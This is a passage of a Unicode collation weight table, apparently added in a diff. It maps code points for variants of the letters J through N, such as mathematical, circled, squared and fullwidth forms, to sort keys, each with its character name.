+1D5DD ; [.1D4C.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL J
+1D611 ; [.1D4C.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL J
+1D645 ; [.1D4C.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL J
+1D679 ; [.1D4C.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL J
+24BF  ; [.1D4C.0020.000C] # CIRCLED LATIN CAPITAL LETTER J
+1F159 ; [.1D4C.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER J
+02B2  ; [.1D4C.0020.0014] # MODIFIER LETTER SMALL J
+2C7C  ; [.1D4C.0020.0015] # LATIN SUBSCRIPT SMALL LETTER J
+1D36  ; [.1D4C.0020.001D] # MODIFIER LETTER CAPITAL J
+1F139 ; [.1D4C.0020.001D] # SQUARED LATIN CAPITAL LETTER J
+1F179 ; [.1D4C.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER J
+0135  ; [.1D4C.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER J WITH CIRCUMFLEX
+0134  ; [.1D4C.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER J WITH CIRCUMFLEX
+01F0  ; [.1D4C.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER J WITH CARON
+0237  ; [.1D50.0020.0002] # LATIN SMALL LETTER DOTLESS J
+1D6A5 ; [.1D50.0020.0005] # MATHEMATICAL ITALIC SMALL DOTLESS J
+1D0A  ; [.1D54.0020.0002] # LATIN LETTER SMALL CAPITAL J
+0249  ; [.1D55.0020.0002] # LATIN SMALL LETTER J WITH STROKE
+0248  ; [.1D55.0020.0008] # LATIN CAPITAL LETTER J WITH STROKE
+029D  ; [.1D59.0020.0002] # LATIN SMALL LETTER J WITH CROSSED-TAIL
+A7B2  ; [.1D59.0020.0008] # LATIN CAPITAL LETTER J WITH CROSSED-TAIL
+1DA8  ; [.1D59.0020.0014] # MODIFIER LETTER SMALL J WITH CROSSED-TAIL
+025F  ; [.1D5D.0020.0002] # LATIN SMALL LETTER DOTLESS J WITH STROKE
+1DA1  ; [.1D5D.0020.0014] # MODIFIER LETTER SMALL DOTLESS J WITH STROKE
+0284  ; [.1D61.0020.0002] # LATIN SMALL LETTER DOTLESS J WITH STROKE AND HOOK
+006B  ; [.1D65.0020.0002] # LATIN SMALL LETTER K
+FF4B  ; [.1D65.0020.0003] # FULLWIDTH LATIN SMALL LETTER K
+1DDC  ; [.1D65.0020.0004] # COMBINING LATIN SMALL LETTER K
+24A6  ; [*0317.0020.0004][.1D65.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER K
+1D424 ; [.1D65.0020.0005] # MATHEMATICAL BOLD SMALL K
+1D458 ; [.1D65.0020.0005] # MATHEMATICAL ITALIC SMALL K
+1D48C ; [.1D65.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL K
+1D4C0 ; [.1D65.0020.0005] # MATHEMATICAL SCRIPT SMALL K
+1D4F4 ; [.1D65.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL K
+1D528 ; [.1D65.0020.0005] # MATHEMATICAL FRAKTUR SMALL K
+1D55C ; [.1D65.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL K
+1D590 ; [.1D65.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL K
+1D5C4 ; [.1D65.0020.0005] # MATHEMATICAL SANS-SERIF SMALL K
+1D5F8 ; [.1D65.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL K
+1D62C ; [.1D65.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL K
+1D660 ; [.1D65.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL K
+1D694 ; [.1D65.0020.0005] # MATHEMATICAL MONOSPACE SMALL K
+24DA  ; [.1D65.0020.0006] # CIRCLED LATIN SMALL LETTER K
+004B  ; [.1D65.0020.0008] # LATIN CAPITAL LETTER K
+212A  ; [.1D65.0020.0008] # KELVIN SIGN
+FF2B  ; [.1D65.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER K
+1F11A ; [*0317.0020.0004][.1D65.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER K
+1D40A ; [.1D65.0020.000B] # MATHEMATICAL BOLD CAPITAL K
+1D43E ; [.1D65.0020.000B] # MATHEMATICAL ITALIC CAPITAL K
+1D472 ; [.1D65.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL K
+1D4A6 ; [.1D65.0020.000B] # MATHEMATICAL SCRIPT CAPITAL K
+1D4DA ; [.1D65.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL K
+1D50E ; [.1D65.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL K
+1D542 ; [.1D65.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL K
+1D576 ; [.1D65.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL K
+1D5AA ; [.1D65.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL K
+1D5DE ; [.1D65.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL K
+1D612 ; [.1D65.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL K
+1D646 ; [.1D65.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL K
+1D67A ; [.1D65.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL K
+24C0  ; [.1D65.0020.000C] # CIRCLED LATIN CAPITAL LETTER K
+1F15A ; [.1D65.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER K
+1D4F  ; [.1D65.0020.0014] # MODIFIER LETTER SMALL K
+2096  ; [.1D65.0020.0015] # LATIN SUBSCRIPT SMALL LETTER K
+1D37  ; [.1D65.0020.001D] # MODIFIER LETTER CAPITAL K
+1F13A ; [.1D65.0020.001D] # SQUARED LATIN CAPITAL LETTER K
+1F17A ; [.1D65.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER K
+1E31  ; [.1D65.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER K WITH ACUTE
+1E30  ; [.1D65.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER K WITH ACUTE
+01E9  ; [.1D65.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER K WITH CARON
+01E8  ; [.1D65.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER K WITH CARON
+0137  ; [.1D65.0020.0002][.0000.0030.0002] # LATIN SMALL LETTER K WITH CEDILLA
+0136  ; [.1D65.0020.0008][.0000.0030.0002] # LATIN CAPITAL LETTER K WITH CEDILLA
+A7A3  ; [.1D65.0020.0004][.0000.0035.0004] # LATIN SMALL LETTER K WITH OBLIQUE STROKE
+A7A2  ; [.1D65.0020.000A][.0000.0035.0004] # LATIN CAPITAL LETTER K WITH OBLIQUE STROKE
+1E33  ; [.1D65.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER K WITH DOT BELOW
+1E32  ; [.1D65.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER K WITH DOT BELOW
+1E35  ; [.1D65.0020.0002][.0000.0049.0002] # LATIN SMALL LETTER K WITH LINE BELOW
+1E34  ; [.1D65.0020.0008][.0000.0049.0002] # LATIN CAPITAL LETTER K WITH LINE BELOW
+3384  ; [.1D65.0020.001C][.1C47.0020.001D] # SQUARE KA
+3385  ; [.1D65.0020.001D][.1C60.0020.001D] # SQUARE KB
+3389  ; [.1D65.0020.001C][.1C7A.0020.001C][.1C47.0020.001C][.1D77.0020.001C] # SQUARE KCAL
+338F  ; [.1D65.0020.001C][.1CF4.0020.001C] # SQUARE KG
+3391  ; [.1D65.0020.001C][.1D18.0020.001D][.1F21.0020.001C] # SQUARE KHZ
+33CD  ; [.1D65.0020.001D][.1D65.0020.001D] # SQUARE KK
+3398  ; [.1D65.0020.001C][.1D77.0020.001C] # SQUARE KL
+339E  ; [.1D65.0020.001C][.1DAA.0020.001C] # SQUARE KM
+33CE  ; [.1D65.0020.001D][.1DAA.0020.001D] # SQUARE KM CAPITAL
+33A2  ; [.1D65.0020.001C][.1DAA.0020.001C][.1C3F.0020.001C] # SQUARE KM SQUARED
+33A6  ; [.1D65.0020.001C][.1DAA.0020.001C][.1C40.0020.001C] # SQUARE KM CUBED
+33AA  ; [.1D65.0020.001C][.1E0C.0020.001D][.1C47.0020.001C] # SQUARE KPA
+33CF  ; [.1D65.0020.001C][.1E95.0020.001C] # SQUARE KT
+33B8  ; [.1D65.0020.001C][.1EE3.0020.001D] # SQUARE KV
+33BE  ; [.1D65.0020.001C][.1EF5.0020.001D] # SQUARE KW
+33C0  ; [.1D65.0020.001C][.1FE1.0020.001D] # SQUARE K OHM
+1D0B  ; [.1D69.0020.0002] # LATIN LETTER SMALL CAPITAL K
+1D84  ; [.1D6A.0020.0002] # LATIN SMALL LETTER K WITH PALATAL HOOK
+0199  ; [.1D6B.0020.0002] # LATIN SMALL LETTER K WITH HOOK
+0198  ; [.1D6B.0020.0008] # LATIN CAPITAL LETTER K WITH HOOK
+2C6A  ; [.1D6F.0020.0002] # LATIN SMALL LETTER K WITH DESCENDER
+2C69  ; [.1D6F.0020.0008] # LATIN CAPITAL LETTER K WITH DESCENDER
+A741  ; [.1D70.0020.0002] # LATIN SMALL LETTER K WITH STROKE
+A740  ; [.1D70.0020.0008] # LATIN CAPITAL LETTER K WITH STROKE
+A743  ; [.1D71.0020.0002] # LATIN SMALL LETTER K WITH DIAGONAL STROKE
+A742  ; [.1D71.0020.0008] # LATIN CAPITAL LETTER K WITH DIAGONAL STROKE
+A745  ; [.1D72.0020.0002] # LATIN SMALL LETTER K WITH STROKE AND DIAGONAL STROKE
+A744  ; [.1D72.0020.0008] # LATIN CAPITAL LETTER K WITH STROKE AND DIAGONAL STROKE
+029E  ; [.1D73.0020.0002] # LATIN SMALL LETTER TURNED K
+A7B0  ; [.1D73.0020.0008] # LATIN CAPITAL LETTER TURNED K
+006C  ; [.1D77.0020.0002] # LATIN SMALL LETTER L
+FF4C  ; [.1D77.0020.0003] # FULLWIDTH LATIN SMALL LETTER L
+1DDD  ; [.1D77.0020.0004] # COMBINING LATIN SMALL LETTER L
+217C  ; [.1D77.0020.0004] # SMALL ROMAN NUMERAL FIFTY
+24A7  ; [*0317.0020.0004][.1D77.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER L
+2113  ; [.1D77.0020.0005] # SCRIPT SMALL L
+1D425 ; [.1D77.0020.0005] # MATHEMATICAL BOLD SMALL L
+1D459 ; [.1D77.0020.0005] # MATHEMATICAL ITALIC SMALL L
+1D48D ; [.1D77.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL L
+1D4C1 ; [.1D77.0020.0005] # MATHEMATICAL SCRIPT SMALL L
+1D4F5 ; [.1D77.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL L
+1D529 ; [.1D77.0020.0005] # MATHEMATICAL FRAKTUR SMALL L
+1D55D ; [.1D77.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL L
+1D591 ; [.1D77.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL L
+1D5C5 ; [.1D77.0020.0005] # MATHEMATICAL SANS-SERIF SMALL L
+1D5F9 ; [.1D77.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL L
+1D62D ; [.1D77.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL L
+1D661 ; [.1D77.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL L
+1D695 ; [.1D77.0020.0005] # MATHEMATICAL MONOSPACE SMALL L
+24DB  ; [.1D77.0020.0006] # CIRCLED LATIN SMALL LETTER L
+004C  ; [.1D77.0020.0008] # LATIN CAPITAL LETTER L
+FF2C  ; [.1D77.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER L
+216C  ; [.1D77.0020.000A] # ROMAN NUMERAL FIFTY
+1F11B ; [*0317.0020.0004][.1D77.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER L
+2112  ; [.1D77.0020.000B] # SCRIPT CAPITAL L
+1D40B ; [.1D77.0020.000B] # MATHEMATICAL BOLD CAPITAL L
+1D43F ; [.1D77.0020.000B] # MATHEMATICAL ITALIC CAPITAL L
+1D473 ; [.1D77.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL L
+1D4DB ; [.1D77.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL L
+1D50F ; [.1D77.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL L
+1D543 ; [.1D77.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL L
+1D577 ; [.1D77.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL L
+1D5AB ; [.1D77.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL L
+1D5DF ; [.1D77.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL L
+1D613 ; [.1D77.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL L
+1D647 ; [.1D77.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL L
+1D67B ; [.1D77.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL L
+24C1  ; [.1D77.0020.000C] # CIRCLED LATIN CAPITAL LETTER L
+1F15B ; [.1D77.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER L
+02E1  ; [.1D77.0020.0014] # MODIFIER LETTER SMALL L
+2097  ; [.1D77.0020.0015] # LATIN SUBSCRIPT SMALL LETTER L
+1D38  ; [.1D77.0020.001D] # MODIFIER LETTER CAPITAL L
+1F13B ; [.1D77.0020.001D] # SQUARED LATIN CAPITAL LETTER L
+1F17B ; [.1D77.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER L
+013A  ; [.1D77.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER L WITH ACUTE
+0139  ; [.1D77.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER L WITH ACUTE
+013E  ; [.1D77.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER L WITH CARON
+013D  ; [.1D77.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER L WITH CARON
+013C  ; [.1D77.0020.0002][.0000.0030.0002] # LATIN SMALL LETTER L WITH CEDILLA
+013B  ; [.1D77.0020.0008][.0000.0030.0002] # LATIN CAPITAL LETTER L WITH CEDILLA
+0142  ; [.1D77.0020.0002][.0000.0039.0002] # LATIN SMALL LETTER L WITH STROKE
+0141  ; [.1D77.0020.0008][.0000.0039.0002] # LATIN CAPITAL LETTER L WITH STROKE
+1E37  ; [.1D77.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER L WITH DOT BELOW
+1E36  ; [.1D77.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER L WITH DOT BELOW
+1E39  ; [.1D77.0020.0002][.0000.0042.0002][.0000.0032.0002] # LATIN SMALL LETTER L WITH DOT BELOW AND MACRON
+1E38  ; [.1D77.0020.0008][.0000.0042.0002][.0000.0032.0002] # LATIN CAPITAL LETTER L WITH DOT BELOW AND MACRON
+1E3D  ; [.1D77.0020.0002][.0000.0046.0002] # LATIN SMALL LETTER L WITH CIRCUMFLEX BELOW
+1E3C  ; [.1D77.0020.0008][.0000.0046.0002] # LATIN CAPITAL LETTER L WITH CIRCUMFLEX BELOW
+1E3B  ; [.1D77.0020.0002][.0000.0049.0002] # LATIN SMALL LETTER L WITH LINE BELOW
+1E3A  ; [.1D77.0020.0008][.0000.0049.0002] # LATIN CAPITAL LETTER L WITH LINE BELOW
+0140  ; [.1D77.0020.0002][.0000.0110.0002] # LATIN SMALL LETTER L WITH MIDDLE DOT
+006C 00B7 ; [.1D77.0020.0002][.0000.0110.0002] # LATIN SMALL LETTER L WITH MIDDLE DOT
+006C 0387 ; [.1D77.0020.0002][.0000.0110.0002] # LATIN SMALL LETTER L WITH MIDDLE DOT
+013F  ; [.1D77.0020.0008][.0000.0110.0002] # LATIN CAPITAL LETTER L WITH MIDDLE DOT
+004C 00B7 ; [.1D77.0020.0008][.0000.0110.0002] # LATIN CAPITAL LETTER L WITH MIDDLE DOT
+004C 0387 ; [.1D77.0020.0008][.0000.0110.0002] # LATIN CAPITAL LETTER L WITH MIDDLE DOT
+01C9  ; [.1D77.0020.0004][.1D4C.0020.0004] # LATIN SMALL LETTER LJ
+01C8  ; [.1D77.0020.000A][.1D4C.0020.0004] # LATIN CAPITAL LETTER L WITH SMALL LETTER J
+01C7  ; [.1D77.0020.000A][.1D4C.0020.000A] # LATIN CAPITAL LETTER LJ
+1EFB  ; [.1D77.0020.0004][.1D77.0020.0004] # LATIN SMALL LETTER MIDDLE-WELSH LL
+1EFA  ; [.1D77.0020.000A][.1D77.0020.000A] # LATIN CAPITAL LETTER MIDDLE-WELSH LL
+33D0  ; [.1D77.0020.001C][.1DAA.0020.001C] # SQUARE LM
+33D1  ; [.1D77.0020.001C][.1DB9.0020.001C] # SQUARE LN
+33D2  ; [.1D77.0020.001C][.1DDD.0020.001C][.1CF4.0020.001C] # SQUARE LOG
+1F1A9 ; [.1D77.0020.001D][.1DDD.0020.001C][.1E71.0020.001C][.1E71.0020.001C][.1D77.0020.001C][.1CAA.0020.001C][.1E71.0020.001C][.1E71.0020.001C] # SQUARED LOSSLESS
+02AA  ; [.1D77.0020.0004][.1E71.0020.0004] # LATIN SMALL LETTER LS DIGRAPH
+32CF  ; [.1D77.0020.001D][.1E95.0020.001D][.1C8F.0020.001D] # LIMITED LIABILITY SIGN
+33D3  ; [.1D77.0020.001C][.1EFF.0020.001C] # SQUARE LX
+02AB  ; [.1D77.0020.0004][.1F21.0020.0004] # LATIN SMALL LETTER LZ DIGRAPH
+029F  ; [.1D7B.0020.0002] # LATIN LETTER SMALL CAPITAL L
+1DDE  ; [.1D7B.0020.0004] # COMBINING LATIN LETTER SMALL CAPITAL L
+1DAB  ; [.1D7B.0020.0014] # MODIFIER LETTER SMALL CAPITAL L
+A747  ; [.1D7F.0020.0002] # LATIN SMALL LETTER BROKEN L
+A746  ; [.1D7F.0020.0008] # LATIN CAPITAL LETTER BROKEN L
+1D0C  ; [.1D80.0020.0002] # LATIN LETTER SMALL CAPITAL L WITH STROKE
+A749  ; [.1D81.0020.0002] # LATIN SMALL LETTER L WITH HIGH STROKE
+A748  ; [.1D81.0020.0008] # LATIN CAPITAL LETTER L WITH HIGH STROKE
+019A  ; [.1D82.0020.0002] # LATIN SMALL LETTER L WITH BAR
+023D  ; [.1D82.0020.0008] # LATIN CAPITAL LETTER L WITH BAR
+2C61  ; [.1D86.0020.0002] # LATIN SMALL LETTER L WITH DOUBLE BAR
+2C60  ; [.1D86.0020.0008] # LATIN CAPITAL LETTER L WITH DOUBLE BAR
+026B  ; [.1D87.0020.0002] # LATIN SMALL LETTER L WITH MIDDLE TILDE
+2C62  ; [.1D87.0020.0008] # LATIN CAPITAL LETTER L WITH MIDDLE TILDE
+AB5E  ; [.1D87.0020.0014] # MODIFIER LETTER SMALL L WITH MIDDLE TILDE
+AB38  ; [.1D8B.0020.0002] # LATIN SMALL LETTER L WITH DOUBLE MIDDLE TILDE
+1DEC  ; [.1D8B.0020.0004] # COMBINING LATIN SMALL LETTER L WITH DOUBLE MIDDLE TILDE
+AB39  ; [.1D8C.0020.0002] # LATIN SMALL LETTER L WITH MIDDLE RING
+026C  ; [.1D8D.0020.0002] # LATIN SMALL LETTER L WITH BELT
+A7AD  ; [.1D8D.0020.0008] # LATIN CAPITAL LETTER L WITH BELT
+AB37  ; [.1D91.0020.0002] # LATIN SMALL LETTER L WITH INVERTED LAZY S
+AB5D  ; [.1D91.0020.0014] # MODIFIER LETTER SMALL L WITH INVERTED LAZY S
+1D85  ; [.1D92.0020.0002] # LATIN SMALL LETTER L WITH PALATAL HOOK
+1DAA  ; [.1D92.0020.0014] # MODIFIER LETTER SMALL L WITH PALATAL HOOK
+026D  ; [.1D93.0020.0002] # LATIN SMALL LETTER L WITH RETROFLEX HOOK
+1DA9  ; [.1D93.0020.0014] # MODIFIER LETTER SMALL L WITH RETROFLEX HOOK
+A78E  ; [.1D97.0020.0002] # LATIN SMALL LETTER L WITH RETROFLEX HOOK AND BELT
+0234  ; [.1D98.0020.0002] # LATIN SMALL LETTER L WITH CURL
+A772  ; [.1D9C.0020.0002] # LATIN SMALL LETTER LUM
+026E  ; [.1D9D.0020.0002] # LATIN SMALL LETTER LEZH
+A781  ; [.1DA1.0020.0002] # LATIN SMALL LETTER TURNED L
+A780  ; [.1DA1.0020.0008] # LATIN CAPITAL LETTER TURNED L
+019B  ; [.1DA2.0020.0002] # LATIN SMALL LETTER LAMBDA WITH STROKE
+028E  ; [.1DA6.0020.0002] # LATIN SMALL LETTER TURNED Y
+006D  ; [.1DAA.0020.0002] # LATIN SMALL LETTER M
+FF4D  ; [.1DAA.0020.0003] # FULLWIDTH LATIN SMALL LETTER M
+036B  ; [.1DAA.0020.0004] # COMBINING LATIN SMALL LETTER M
+217F  ; [.1DAA.0020.0004] # SMALL ROMAN NUMERAL ONE THOUSAND
+24A8  ; [*0317.0020.0004][.1DAA.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER M
+1D426 ; [.1DAA.0020.0005] # MATHEMATICAL BOLD SMALL M
+1D45A ; [.1DAA.0020.0005] # MATHEMATICAL ITALIC SMALL M
+1D48E ; [.1DAA.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL M
+1D4C2 ; [.1DAA.0020.0005] # MATHEMATICAL SCRIPT SMALL M
+1D4F6 ; [.1DAA.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL M
+1D52A ; [.1DAA.0020.0005] # MATHEMATICAL FRAKTUR SMALL M
+1D55E ; [.1DAA.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL M
+1D592 ; [.1DAA.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL M
+1D5C6 ; [.1DAA.0020.0005] # MATHEMATICAL SANS-SERIF SMALL M
+1D5FA ; [.1DAA.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL M
+1D62E ; [.1DAA.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL M
+1D662 ; [.1DAA.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL M
+1D696 ; [.1DAA.0020.0005] # MATHEMATICAL MONOSPACE SMALL M
+24DC  ; [.1DAA.0020.0006] # CIRCLED LATIN SMALL LETTER M
+004D  ; [.1DAA.0020.0008] # LATIN CAPITAL LETTER M
+FF2D  ; [.1DAA.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER M
+216F  ; [.1DAA.0020.000A] # ROMAN NUMERAL ONE THOUSAND
+1F11C ; [*0317.0020.0004][.1DAA.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER M
+2133  ; [.1DAA.0020.000B] # SCRIPT CAPITAL M
+1D40C ; [.1DAA.0020.000B] # MATHEMATICAL BOLD CAPITAL M
+1D440 ; [.1DAA.0020.000B] # MATHEMATICAL ITALIC CAPITAL M
+1D474 ; [.1DAA.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL M
+1D4DC ; [.1DAA.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL M
+1D510 ; [.1DAA.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL M
+1D544 ; [.1DAA.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL M
+1D578 ; [.1DAA.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL M
+1D5AC ; [.1DAA.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL M
+1D5E0 ; [.1DAA.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL M
+1D614 ; [.1DAA.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL M
+1D648 ; [.1DAA.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL M
+1D67C ; [.1DAA.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL M
+24C2  ; [.1DAA.0020.000C] # CIRCLED LATIN CAPITAL LETTER M
+1F15C ; [.1DAA.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER M
+1D50  ; [.1DAA.0020.0014] # MODIFIER LETTER SMALL M
+2098  ; [.1DAA.0020.0015] # LATIN SUBSCRIPT SMALL LETTER M
+1D39  ; [.1DAA.0020.001D] # MODIFIER LETTER CAPITAL M
+1F13C ; [.1DAA.0020.001D] # SQUARED LATIN CAPITAL LETTER M
+1F17C ; [.1DAA.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER M
+1E3F  ; [.1DAA.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER M WITH ACUTE
+1E3E  ; [.1DAA.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER M WITH ACUTE
+1E41  ; [.1DAA.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER M WITH DOT ABOVE
+1E40  ; [.1DAA.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER M WITH DOT ABOVE
+1E43  ; [.1DAA.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER M WITH DOT BELOW
+1E42  ; [.1DAA.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER M WITH DOT BELOW
+33A1  ; [.1DAA.0020.001C][.1C3F.0020.001C] # SQUARE M SQUARED
+33A5  ; [.1DAA.0020.001C][.1C40.0020.001C] # SQUARE M CUBED
+3383  ; [.1DAA.0020.001C][.1C47.0020.001D] # SQUARE MA
+33D4  ; [.1DAA.0020.001C][.1C60.0020.001C] # SQUARE MB SMALL
+3386  ; [.1DAA.0020.001D][.1C60.0020.001D] # SQUARE MB
+1F16A ; [.1DAA.0020.0014][.1C7A.0020.0014] # RAISED MC SIGN
+1F16B ; [.1DAA.0020.0014][.1C8F.0020.0014] # RAISED MD SIGN
+338E  ; [.1DAA.0020.001C][.1CF4.0020.001C] # SQUARE MG
+3392  ; [.1DAA.0020.001D][.1D18.0020.001D][.1F21.0020.001C] # SQUARE MHZ
+33D5  ; [.1DAA.0020.001C][.1D32.0020.001C][.1D77.0020.001C] # SQUARE MIL
+3396  ; [.1DAA.0020.001C][.1D77.0020.001C] # SQUARE ML
+339C  ; [.1DAA.0020.001C][.1DAA.0020.001C] # SQUARE MM
+339F  ; [.1DAA.0020.001C][.1DAA.0020.001C][.1C3F.0020.001C] # SQUARE MM SQUARED
+33A3  ; [.1DAA.0020.001C][.1DAA.0020.001C][.1C40.0020.001C] # SQUARE MM CUBED
+33D6  ; [.1DAA.0020.001C][.1DDD.0020.001C][.1D77.0020.001C] # SQUARE MOL
+33AB  ; [.1DAA.0020.001D][.1E0C.0020.001D][.1C47.0020.001C] # SQUARE MPA
+33A7  ; [.1DAA.0020.001C][*0625.0020.001C][.1E71.0020.001C] # SQUARE M OVER S
+33B3  ; [.1DAA.0020.001C][.1E71.0020.001C] # SQUARE MS
+33A8  ; [.1DAA.0020.001C][*0625.0020.001C][.1E71.0020.001C][.1C3F.0020.001C] # SQUARE M OVER S SQUARED
+33B7  ; [.1DAA.0020.001C][.1EE3.0020.001D] # SQUARE MV
+33B9  ; [.1DAA.0020.001D][.1EE3.0020.001D] # SQUARE MV MEGA
+1F14B ; [.1DAA.0020.001D][.1EE3.0020.001D] # SQUARED MV
+33BD  ; [.1DAA.0020.001C][.1EF5.0020.001D] # SQUARE MW
+33BF  ; [.1DAA.0020.001D][.1EF5.0020.001D] # SQUARE MW MEGA
+33C1  ; [.1DAA.0020.001D][.1FE1.0020.001D] # SQUARE M OHM
+1D0D  ; [.1DAE.0020.0002] # LATIN LETTER SMALL CAPITAL M
+1DDF  ; [.1DAE.0020.0004] # COMBINING LATIN LETTER SMALL CAPITAL M
+1D6F  ; [.1DAF.0020.0002] # LATIN SMALL LETTER M WITH MIDDLE TILDE
+1D86  ; [.1DB0.0020.0002] # LATIN SMALL LETTER M WITH PALATAL HOOK
+0271  ; [.1DB1.0020.0002] # LATIN SMALL LETTER M WITH HOOK
+2C6E  ; [.1DB1.0020.0008] # LATIN CAPITAL LETTER M WITH HOOK
+1DAC  ; [.1DB1.0020.0014] # MODIFIER LETTER SMALL M WITH HOOK
+AB3A  ; [.1DB5.0020.0002] # LATIN SMALL LETTER M WITH CROSSED-TAIL
+A7FD  ; [.1DB6.0020.0002] # LATIN EPIGRAPHIC LETTER INVERTED M
+A7FF  ; [.1DB7.0020.0002] # LATIN EPIGRAPHIC LETTER ARCHAIC M
+A773  ; [.1DB8.0020.0002] # LATIN SMALL LETTER MUM
+006E  ; [.1DB9.0020.0002] # LATIN SMALL LETTER N
+FF4E  ; [.1DB9.0020.0003] # FULLWIDTH LATIN SMALL LETTER N
+1DE0  ; [.1DB9.0020.0004] # COMBINING LATIN SMALL LETTER N
+24A9  ; [*0317.0020.0004][.1DB9.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER N
+1D427 ; [.1DB9.0020.0005] # MATHEMATICAL BOLD SMALL N
+1D45B ; [.1DB9.0020.0005] # MATHEMATICAL ITALIC SMALL N
+1D48F ; [.1DB9.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL N
+1D4C3 ; [.1DB9.0020.0005] # MATHEMATICAL SCRIPT SMALL N
+1D4F7 ; [.1DB9.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL N
+1D52B ; [.1DB9.0020.0005] # MATHEMATICAL FRAKTUR SMALL N
+1D55F ; [.1DB9.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL N
